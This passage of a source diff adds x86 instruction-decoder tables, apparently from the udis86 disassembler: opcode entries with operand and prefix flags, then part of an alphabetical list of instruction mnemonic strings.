O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1620 */ { UD_Ivpalignr, O_Vx, O_Hx, O_Wx, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1621 */ { UD_Ipblendvb, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1622 */ { UD_Ipmuldq, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1623 */ { UD_Ivpmuldq, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1624 */ { UD_Ipminsb, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1625 */ { UD_Ivpminsb, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1626 */ { UD_Ipminsd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1627 */ { UD_Ivpminsd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1628 */ { UD_Ipminuw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1629 */ { UD_Ivpminuw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1630 */ { UD_Ipminud, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1631 */ { UD_Ivpminud, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1632 */ { UD_Ipmaxsb, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1633 */ { UD_Ivpmaxsb, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1634 */ { UD_Ipmaxsd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1635 */ { UD_Ivpmaxsd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1636 */ { UD_Ipmaxud, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1637 */ { UD_Ivpmaxud, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1638 */ { UD_Ipmaxuw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1639 */ { UD_Ivpmaxuw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1640 */ { UD_Ipmulld, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1641 */ { UD_Ivpmulld, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1642 */ { UD_Iphminposuw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1643 */ { UD_Ivphminposuw, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1644 */ { UD_Iroundps, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1645 */ { UD_Ivroundps, O_Vx, O_Wx, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1646 */ { UD_Iroundpd, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1647 */ { UD_Ivroundpd, O_Vx, O_Wx, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1648 */ { UD_Iroundss, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1649 */ { UD_Ivroundss, O_Vx, O_Hx, O_Wx, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1650 */ { UD_Iroundsd, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1651 */ { UD_Ivroundsd, O_Vx, O_Hx, O_Wx, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1652 */ { UD_Iblendpd, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1653 */ { UD_Ivblendpd, O_Vx, O_Hx, O_Wx, O_Ib, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1654 */ { UD_Iblendps, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1655 */ { UD_Ivblendps, O_Vx, O_Hx, O_Wx, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1656 */ { UD_Iblendvpd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1657 */ { UD_Iblendvps, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1658 */ { UD_Ibound, O_Gv, O_M, O_NONE, O_NONE, P_aso|P_oso }, + /* 1659 */ { UD_Ibsf, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1660 */ { UD_Ibsr, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1661 */ { UD_Ibswap, O_R0y, O_NONE, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 1662 */ { UD_Ibswap, O_R1y, O_NONE, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 1663 */ { UD_Ibswap, O_R2y, O_NONE, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 1664 */ { UD_Ibswap, O_R3y, O_NONE, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 1665 */ { UD_Ibswap, O_R4y, O_NONE, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 1666 */ { UD_Ibswap, O_R5y, O_NONE, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 1667 */ { UD_Ibswap, O_R6y, O_NONE, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 1668 */ { UD_Ibswap, O_R7y, O_NONE, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 1669 */ { UD_Ibt, O_Ev, O_Ib, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1670 */ { UD_Ibt, O_Ev, O_Gv, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1671 */ { UD_Ibtc, O_Ev, O_Gv, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1672 */ { UD_Ibtc, O_Ev, O_Ib, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1673 */ { UD_Ibtr, O_Ev, O_Gv, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1674 */ { UD_Ibtr, O_Ev, O_Ib, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1675 */ { UD_Ibts, O_Ev, O_Gv, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1676 */ { UD_Ibts, O_Ev, O_Ib, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1677 */ { UD_Ipblendw, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1678 */ { UD_Ivpblendw, O_Vx, O_Hx, O_Wx, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1679 */ { UD_Impsadbw, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1680 */ { UD_Ivmpsadbw, O_Vx, O_Hx, O_Wx, O_Ib, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1681 */ { UD_Imovntdqa, O_V, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1682 */ { UD_Ivmovntdqa, O_Vx, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb|P_vexl }, + /* 1683 */ { UD_Ipackusdw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1684 */ { UD_Ivpackusdw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb|P_vexl }, + /* 1685 */ { UD_Ipmovsxbw, O_V, O_MqU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1686 */ { UD_Ivpmovsxbw, O_Vx, O_MqU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1687 */ { UD_Ipmovsxbd, O_V, O_MdU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1688 */ { UD_Ivpmovsxbd, O_Vx, O_MdU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1689 */ { UD_Ipmovsxbq, O_V, O_MwU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1690 */ { UD_Ivpmovsxbq, O_Vx, O_MwU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1691 */ { UD_Ipmovsxwd, O_V, O_MqU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1692 */ { UD_Ivpmovsxwd, O_Vx, O_MqU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1693 */ { UD_Ipmovsxwq, O_V, O_MdU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1694 */ { UD_Ivpmovsxwq, O_Vx, O_MdU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1695 */ { UD_Ipmovsxdq, O_V, O_MqU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1696 */ { UD_Ipmovzxbw, O_V, O_MqU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1697 */ { UD_Ivpmovzxbw, O_Vx, O_MqU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1698 */ { UD_Ipmovzxbd, O_V, O_MdU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1699 */ { UD_Ivpmovzxbd, O_Vx, O_MdU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1700 */ { UD_Ipmovzxbq, O_V, O_MwU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1701 */ { UD_Ivpmovzxbq, O_Vx, O_MwU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1702 */ { UD_Ipmovzxwd, O_V, O_MqU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1703 */ { UD_Ivpmovzxwd, O_Vx, O_MqU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1704 */ { UD_Ipmovzxwq, O_V, O_MdU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1705 */ { UD_Ivpmovzxwq, O_Vx, O_MdU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1706 */ { UD_Ipmovzxdq, O_V, O_MqU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1707 */ { UD_Ivpmovzxdq, O_Vx, O_MqU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1708 */ { UD_Ipcmpeqq, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1709 */ { UD_Ivpcmpeqq, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1710 */ { UD_Ipopcnt, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1711 */ { UD_Iptest, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1712 */ { UD_Ivptest, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb|P_vexl }, + /* 1713 */ { UD_Ipcmpestri, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1714 */ { UD_Ivpcmpestri, O_Vx, O_Wx, O_Ib, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1715 */ { UD_Ipcmpestrm, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1716 */ { UD_Ivpcmpestrm, O_Vx, O_Wx, O_Ib, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1717 */ { UD_Ipcmpgtq, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1718 */ { UD_Ivpcmpgtq, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1719 */ { UD_Ipcmpistri, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1720 */ { UD_Ivpcmpistri, O_Vx, O_Wx, O_Ib, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1721 */ { UD_Ipcmpistrm, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1722 */ { UD_Ivpcmpistrm, O_Vx, O_Wx, O_Ib, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1723 */ { UD_Imovbe, O_Gv, O_Mv, O_NONE, O_NONE, P_aso|P_oso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1724 */ { UD_Imovbe, O_Mv, O_Gv, O_NONE, O_NONE, P_aso|P_oso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1725 */ { UD_Icrc32, O_Gy, O_Eb, O_NONE, O_NONE, P_aso|P_oso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1726 */ { UD_Icrc32, O_Gy, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1727 */ { UD_Ivbroadcastss, O_V, O_Md, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1728 */ { UD_Ivbroadcastsd, O_Vqq, O_Mq, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1729 */ { UD_Ivextractf128, O_Wdq, O_Vqq, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1730 */ { UD_Ivinsertf128, O_Vqq, O_Hqq, O_Wdq, O_Ib, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1731 */ { UD_Ivmaskmovps, O_V, O_H, O_M, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1732 */ { UD_Ivmaskmovps, O_M, O_H, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1733 */ { UD_Ivmaskmovpd, O_V, O_H, O_M, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1734 */ { UD_Ivmaskmovpd, O_M, O_H, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1735 */ { UD_Ivpermilpd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1736 */ { UD_Ivpermilpd, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1737 */ { UD_Ivpermilps, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1738 */ { UD_Ivpermilps, O_Vx, O_Wx, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1739 */ { UD_Ivperm2f128, O_Vqq, O_Hqq, O_Wqq, O_Ib, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1740 */ { UD_Ivtestps, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1741 */ { UD_Ivtestpd, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1742 */ { UD_Ivzeroupper, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1743 */ { UD_Ivzeroall, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1744 */ { UD_Ivblendvpd, O_Vx, O_Hx, O_Wx, O_Lx, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1745 */ { UD_Ivblendvps, O_Vx, O_Hx, O_Wx, O_Lx, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1746 */ { UD_Ivmovsd, O_V, O_H, O_U, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1747 */ { UD_Ivmovsd, O_V, O_Mq, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1748 */ { UD_Ivmovsd, O_U, O_H, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1749 */ { UD_Ivmovsd, O_Mq, O_V, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1750 */ { UD_Ivmovss, O_V, O_H, O_U, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1751 */ { UD_Ivmovss, O_V, O_Md, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1752 */ { UD_Ivmovss, O_U, O_H, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1753 */ { UD_Ivmovss, O_Md, O_V, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1754 */ { UD_Ivpblendvb, O_V, O_H, O_W, O_L, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1755 */ { UD_Ivpsllw, O_V, O_H, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1756 */ { UD_Ivpsllw, O_H, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1757 */ { UD_Ivpslld, O_V, O_H, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1758 */ { UD_Ivpslld, O_H, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1759 */ { UD_Ivpsllq, O_V, O_H, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1760 */ { UD_Ivpsllq, O_H, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, +}; + + +const char* ud_mnemonics_str[] = { + "aaa", + "aad", + "aam", + "aas", + "adc", + "add", + "addpd", + "addps", + "addsd", + "addss", + "addsubpd", + "addsubps", + "aesdec", + "aesdeclast", + "aesenc", + "aesenclast", + "aesimc", + "aeskeygenassist", + "and", + "andnpd", + "andnps", + "andpd", + "andps", + "arpl", + "blendpd", + "blendps", + "blendvpd", + "blendvps", + "bound", + "bsf", + "bsr", + "bswap", + "bt", + "btc", + "btr", + "bts", + "call", + "cbw", + "cdq", + "cdqe", + "clc", + "cld", + "clflush", + "clgi", + "cli", + "clts", + "cmc", + "cmova", + "cmovae", + "cmovb", + "cmovbe", + "cmovg", + "cmovge", + "cmovl", + "cmovle", + "cmovno", + "cmovnp", + "cmovns", + "cmovnz", + "cmovo", + "cmovp", + "cmovs", + "cmovz", + "cmp", + "cmppd", + "cmpps", + "cmpsb", + "cmpsd", + "cmpsq", + "cmpss", + "cmpsw", + "cmpxchg", + "cmpxchg16b", + "cmpxchg8b", + "comisd", + "comiss", + "cpuid", + "cqo", + "crc32", + "cvtdq2pd", + "cvtdq2ps", + "cvtpd2dq", + "cvtpd2pi", + "cvtpd2ps", + "cvtpi2pd", + "cvtpi2ps", + "cvtps2dq", + "cvtps2pd", + "cvtps2pi", + "cvtsd2si", + "cvtsd2ss", + "cvtsi2sd", + "cvtsi2ss", + "cvtss2sd", + "cvtss2si", + "cvttpd2dq", + "cvttpd2pi", + "cvttps2dq", + "cvttps2pi", + "cvttsd2si", + "cvttss2si", + "cwd", + "cwde", + "daa", + "das", + "dec", + "div", + "divpd", + "divps", + "divsd", + "divss", + "dppd", + "dpps", + "emms", + "enter", + "extractps", + "f2xm1", + "fabs", + "fadd", + "faddp", + "fbld", + "fbstp", + "fchs", + "fclex", + "fcmovb", + "fcmovbe", + "fcmove", + "fcmovnb", + "fcmovnbe", + "fcmovne", + "fcmovnu", + "fcmovu", + "fcom", + "fcom2", + "fcomi", + "fcomip", + "fcomp", + "fcomp3", + "fcomp5", + "fcompp", + "fcos", + "fdecstp", + "fdiv", + "fdivp", + "fdivr", + "fdivrp", + "femms", + "ffree", + "ffreep", + "fiadd", + "ficom", + "ficomp", + "fidiv", + "fidivr", + "fild", + "fimul", + "fincstp", + "fist", + "fistp", + "fisttp", + "fisub", + "fisubr", + "fld", + "fld1", + "fldcw", + "fldenv", + "fldl2e", + "fldl2t", + "fldlg2", + "fldln2", + "fldpi", + "fldz", + "fmul", + "fmulp", + "fndisi", + "fneni", + "fninit", + "fnop", + "fnsave", + "fnsetpm", + "fnstcw", + "fnstenv", + "fnstsw", + "fpatan", + "fprem", + "fprem1", + "fptan", + "frndint", + "frstor", + "frstpm", + "fscale", + "fsin", + "fsincos", + "fsqrt", + "fst", + "fstp", + "fstp1", + "fstp8", + "fstp9", + "fsub", + "fsubp", + "fsubr", + "fsubrp", + "ftst", + "fucom", + "fucomi", + "fucomip", + "fucomp", + "fucompp", + "fxam", + "fxch", + "fxch4", + "fxch7", + "fxrstor", + "fxsave", + "fxtract", + "fyl2x", + "fyl2xp1", + "getsec", + "haddpd", + "haddps", + "hlt", + "hsubpd", + "hsubps", + "idiv", + "imul", + "in", + "inc", + "insb", + "insd", + "insertps", + "insw", + "int", + "int1", + "int3", + "into", + "invd", + "invept", + "invlpg", + "invlpga", + "invvpid", + "iretd", + "iretq", + "iretw", + "ja", + "jae", + "jb", + "jbe", + "jcxz", + "jecxz", + "jg", + "jge", + "jl", + "jle", + "jmp", + "jno", + "jnp", + "jns", + "jnz", + "jo", + "jp", + "jrcxz", + "js", + "jz", + "lahf", + "lar", + "lddqu", + "ldmxcsr", + "lds", + "lea", + "leave", + "les", + "lfence", + "lfs", + "lgdt", + "lgs", + "lidt", + "lldt", + "lmsw", + "lock", + "lodsb", + "lodsd", + "lodsq", + "lodsw", + "loop", + "loope", + "loopne", + "lsl", + "lss", + "ltr", + "maskmovdqu", + "maskmovq", + "maxpd", + "maxps", + "maxsd", + "maxss", + "mfence", + "minpd", + "minps", + "minsd", + "minss", + "monitor", + "montmul", + "mov", + "movapd", + "movaps", + "movbe", + "movd", + "movddup", + "movdq2q", + "movdqa", + "movdqu", + "movhlps", + "movhpd", + "movhps", + "movlhps", + "movlpd", + "movlps", + "movmskpd", + "movmskps", + "movntdq", + "movntdqa", + "movnti", + "movntpd", + "movntps", + "movntq", + "movq", + "movq2dq", + "movsb", + "movsd", + "movshdup", + "movsldup", + "movsq", + "movss", + "movsw", + "movsx", + "movsxd", + "movupd", + "movups", + "movzx", + "mpsadbw", + "mul", + "mulpd", + "mulps", + "mulsd", + "mulss", + "mwait", + "neg", + "nop", + "not", + "or", + "orpd", + "orps", + "out", + "outsb", + "outsd", + "outsw", + "pabsb", + "pabsd", + "pabsw", + "packssdw", + "packsswb", + "packusdw", + "packuswb", + "paddb", + "paddd", + "paddq", + "paddsb", + "paddsw", + "paddusb", + "paddusw", + "paddw", + "palignr", + "pand", + "pandn", + "pavgb", + "pavgusb", + "pavgw", + "pblendvb", + "pblendw", + "pclmulqdq", + "pcmpeqb", + "pcmpeqd", + "pcmpeqq", + "pcmpeqw", + "pcmpestri", + "pcmpestrm", + "pcmpgtb", + "pcmpgtd", + "pcmpgtq", + "pcmpgtw", + "pcmpistri", + "pcmpistrm", + "pextrb", + "pextrd", + "pextrq", + "pextrw", + "pf2id", + "pf2iw", + "pfacc", + "pfadd", + "pfcmpeq", + "pfcmpge", + "pfcmpgt", + "pfmax", + "pfmin", + "pfmul", + "pfnacc", + "pfpnacc", + "pfrcp", + "pfrcpit1", + "pfrcpit2", + "pfrsqit1", + "pfrsqrt", + "pfsub", + "pfsubr", + "phaddd", + "phaddsw", + "phaddw", + "phminposuw", + "phsubd", + "phsubsw", + "phsubw", + "pi2fd", + "pi2fw", + "pinsrb", + "pinsrd", + "pinsrq", + "pinsrw", + "pmaddubsw", + "pmaddwd", + "pmaxsb", + "pmaxsd", + "pmaxsw", + "pmaxub", + "pmaxud", + "pmaxuw", + "pminsb", + "pminsd", + "pminsw", + "pminub", + "pminud", + "pminuw", + "pmovmskb", + "pmovsxbd", + "pmovsxbq", + "pmovsxbw", + "pmovsxdq", + "pmovsxwd", + "pmovsxwq", + "pmovzxbd", + "pmovzxbq", + "pmovzxbw", + "pmovzxdq", + "pmovzxwd", + "pmovzxwq", + "pmuldq", + "pmulhrsw", + "pmulhrw", + "pmulhuw", + "pmulhw", + "pmulld", + "pmullw", + "pmuludq", + "pop", + "popa", + "popad", + "popcnt", + "popfd", + "popfq", + "popfw", + "por", + "prefetch", + "prefetchnta", + "prefetcht0", + "prefetcht1", + "prefetcht2", + "psadbw", + "pshufb", + "pshufd", + "pshufhw", + "pshuflw", + "pshufw", + "psignb", + "psignd", + "psignw", + "pslld", + "pslldq", + "psllq", + "psllw", + "psrad", + "psraw", + "psrld", + "psrldq", + "psrlq", + "psrlw", + "psubb", + "psubd", + "psubq", + "psubsb", + "psubsw", + "psubusb", + "psubusw", + "psubw", + "pswapd", + "ptest", + "punpckhbw", + "punpckhdq", + "punpckhqdq", + "punpckhwd", + "punpcklbw", + "punpckldq", + "punpcklqdq", + "punpcklwd", + "push", + "pusha", + "pushad", + "pushfd", + "pushfq", + "pushfw", + "pxor", + "rcl", + "rcpps", + "rcpss", + "rcr", + "rdmsr", + "rdpmc", + "rdrand", + "rdtsc", + "rdtscp", + "rep", + "repne", + "ret", + "retf", + "rol", + "ror", + "roundpd", + "roundps", + "roundsd", + "roundss", + "rsm", + "rsqrtps", + "rsqrtss", + "sahf", + "salc", + "sar", + "sbb", + "scasb", + "scasd", + "scasq", + "scasw", + "seta", + "setae", + "setb", + "setbe", + "setg", + "setge", + "setl", + "setle", + "setno", + "setnp", + "setns", + "setnz", + "seto", + "setp", + "sets", + "setz", + "sfence", + "sgdt", + "shl", + "shld", + "shr", + "shrd", + "shufpd", + "shufps", + "sidt", + "skinit", + "sldt", + "smsw", + "sqrtpd", + "sqrtps", + "sqrtsd", + "sqrtss", + "stc", + "std", + "stgi", + "sti", + "stmxcsr", + "stosb", + "stosd", + "stosq", + "stosw", + "str", + "sub", + "subpd", + "subps", + "subsd", + "subss", + "swapgs", + "syscall", + "sysenter", + "sysexit", + "sysret", + "test", + "ucomisd", + "ucomiss", + "ud2", + "unpckhpd", + "unpckhps", + "unpcklpd", + "unpcklps", + "vaddpd", + "vaddps", + "vaddsd", + "vaddss", + "vaddsubpd", + "vaddsubps", + "vaesdec", + "vaesdeclast", + "vaesenc", + "vaesenclast", + "vaesimc", + "vaeskeygenassist", + "vandnpd", + "vandnps", + "vandpd", + "vandps", + "vblendpd", + "vblendps", + "vblendvpd", + "vblendvps", + "vbroadcastsd", + "vbroadcastss", + "vcmppd", + "vcmpps", + "vcmpsd", + "vcmpss", + "vcomisd", + "vcomiss", + "vcvtdq2pd", + "vcvtdq2ps", + "vcvtpd2dq", + "vcvtpd2ps", + "vcvtps2dq", + "vcvtps2pd", + "vcvtsd2si", + "vcvtsd2ss", + "vcvtsi2sd", + "vcvtsi2ss", + "vcvtss2sd", + "vcvtss2si", + "vcvttpd2dq", + "vcvttps2dq", + "vcvttsd2si", + "vcvttss2si", + "vdivpd", + "vdivps", + "vdivsd", + "vdivss", + "vdppd", + "vdpps", + "verr", + "verw", + "vextractf128", + "vextractps", + "vhaddpd", + "vhaddps", + "vhsubpd", + "vhsubps", + "vinsertf128", + "vinsertps", + "vlddqu", + "vmaskmovdqu", + "vmaskmovpd", + "vmaskmovps", + "vmaxpd", + "vmaxps", + "vmaxsd", + "vmaxss", + "vmcall", + "vmclear", + "vminpd", + "vminps", + "vminsd", + "vminss", + "vmlaunch", + "vmload", + "vmmcall", + "vmovapd", + "vmovaps", + "vmovd", + "vmovddup", + "vmovdqa", + "vmovdqu", + "vmovhlps", + "vmovhpd", + "vmovhps", + "vmovlhps", + "vmovlpd", + 